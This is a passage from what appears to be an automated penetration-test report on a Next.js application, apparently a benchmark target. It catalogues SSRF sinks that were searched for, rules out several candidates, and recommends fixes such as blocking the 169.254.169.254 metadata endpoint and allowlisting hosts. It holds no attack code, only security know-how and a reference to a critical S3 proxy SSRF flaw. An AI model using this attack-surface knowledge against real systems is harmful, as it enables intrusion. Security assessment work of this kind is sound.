**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/components/LoginForm.tsx`  
**Line:** 25  
**Assessment:** **CLIENT-SIDE ONLY - NOT SSRF**

**Code:**
```typescript
const response = await axios.post("/api/auth", formData, {
    headers: { "Content-Type": "application/json" }
});
```

**Analysis:**
- Executes in the browser (client-side React component)
- Not a server-side request
- **Status:** Out of scope for SSRF analysis

---

**4. Server-Side Redirects (Hardcoded - Not Vulnerable)**

**Files:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/adminpanel/page.tsx:11`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-084-24/frontend/app/adminpanel/profile/page.tsx:11`

**Code:**
```typescript
// adminpanel/page.tsx
redirect("/adminpanel/profile");

// adminpanel/profile/page.tsx
redirect("/adminpanel");
```

**Analysis:**
- Redirect destinations are hardcoded strings
- No user input influences redirect URLs
- **Status:** Safe - not vulnerable to open redirect or SSRF

---

### SSRF Sinks NOT Found (Comprehensive Search)

The following SSRF sink categories were thoroughly searched and **NOT FOUND** in network-accessible components:

**Raw Sockets & Network Connections (NOT FOUND):**
- ✅ No `Socket.connect` usage
- ✅ No `net.Dial` (Go) - application is Node.js/TypeScript
- ✅ No `socket.connect` (Python) - no Python code in frontend
- ✅ No `TcpClient`, `UdpClient` usage
- ✅ No raw network socket creation

**File Includes with URLs (NOT FOUND):**
- ✅ No `file_get_contents` (PHP) - application is Node.js
- ✅ No `fopen` with URLs
- ✅ No `fs.readFile` with URLs
- ✅ No `require()` or `import()` with dynamic user-controlled URLs

**Headless Browsers (NOT FOUND):**
- ✅ No Puppeteer (`page.goto`, `page.setContent`)
- ✅ No Playwright (`page.navigate`, `page.route`)
- ✅ No Selenium WebDriver
- ✅ No html-to-pdf converters (wkhtmltopdf, Puppeteer PDF)
- ✅ No Server-Side Rendering with external content loading

**Media Processors (NOT FOUND):**
- ✅ No ImageMagick (`convert`, `identify` with URLs)
- ✅ No GraphicsMagick
- ✅ No FFmpeg with network sources
- ✅ No image optimization services with URL parameters

**Link Preview & Unfurlers (NOT FOUND):**
- ✅ No link preview generators
- ✅ No oEmbed endpoint fetchers
- ✅ No social media card generators
- ✅ No URL metadata extractors

**Webhook Testers & Callback Verifiers (NOT FOUND):**
- ✅ No "ping my webhook" functionality
- ✅ No outbound callback verification
- ✅ No health check notifications to user-provided URLs
- ✅ No event delivery confirmations

**SSO/OIDC Discovery & JWKS Fetchers (NOT FOUND):**
- ✅ No OpenID Connect discovery endpoints
- ✅ No JWKS (JSON Web Key Set) fetchers
- ✅ No OAuth authorization server metadata fetching
- ✅ No SAML metadata fetchers
- ✅ No federation metadata retrievers

**Importers & Data Loaders (NOT FOUND):**
- ✅ No "import from URL" functionality
- ✅ No CSV/JSON/XML remote loaders
- ✅ No RSS/Atom feed readers
- ✅ No API data synchronization from user-provided URLs
- ✅ No configuration file fetchers

**Package/Plugin/Theme Installers (NOT FOUND):**
- ✅ No "install from URL" features
- ✅ No package managers with remote sources
- ✅ No plugin/theme downloaders
- ✅ No update mechanisms fetching from user URLs

**Cloud Metadata Helpers (NOT FOUND):**
- ✅ No AWS/GCP/Azure instance metadata API calls (though exploitable via SSRF)
- ✅ No cloud service discovery mechanisms
- ✅ No container orchestration API clients
- ✅ No infrastructure metadata fetchers

---

### SSRF Prevention Recommendations

**Immediate Actions (Critical):**

1. **Fix S3 Proxy SSRF Vulnerability:**
   - Implement strict filename validation and sanitization
   - Use allowlist approach (only permit known-good files)
   - Block path traversal sequences completely
   - Validate file extensions against allowlist
   - Add Content-Type validation before reflection

2. **Add Network Egress Controls:**
   - Implement firewall rules restricting frontend container egress
   - Block access to cloud metadata endpoints (169.254.169.254)
   - Whitelist only necessary external destinations

3. **Add Monitoring:**
   - Log all S3 proxy requests with full URL
   - Alert on suspicious patterns (path traversal attempts, unusual filenames)
   - Monitor for 404/500 errors indicating SSRF probing

**Long-Term Defense:**

4. **Implement URL Validation Library:**
   ```typescript
   import { parse } from 'url';
   
   function validateInternalURL(url: string): boolean {
       const parsed = parse(url);
       
       // Enforce http/https only
       if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
           return false;
       }
       
       // Enforce allowlist of internal hosts
       const allowedHosts = ['s3:8333'];
       if (!allowedHosts.includes(parsed.host || '')) {
           return false;
       }
       
       // Block private IP ranges
       const ipRegex = /^(127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/;
       if (ipRegex.test(parsed.hostname || '')) {
           return false; // Already internal, but prevent explicit bypass
       }
       
       return true;
   }
   ```

5. **Implement Request Signing:**
   - Instead of proxying arbitrary paths, generate signed URLs for S3
   - Frontend generates time-limited signed URLs with HMAC
   - S3 validates signature before serving files
   - Eliminates need for dangerous proxy endpoint

6. **Network Segmentation:**
   - Separate Docker networks for different security zones
   - Frontend should not have direct S3 access
   - Use dedicated proxy service with strict validation

**Technology Stack Summary:**

- **Framework:** Next.js 14.2.3 (Node.js)
- **HTTP Clients Identified:** 
  - Server-side: `fetch()` API (Node.js 18+ native)
  - Client-side: `axios 1.7.2`
- **Runtime:** Node.js 20 (frontend), Node.js 18 (S3 service)
- **SSRF Attack Surface:** 1 critical endpoint with public access

---

**END OF CODE ANALYSIS DELIVERABLE**

## Authenticated Scans

### SCHEMATHESIS
Status: skipped
No API schemas found

---
Report generated at: 2025-10-28T23:36:26.146Z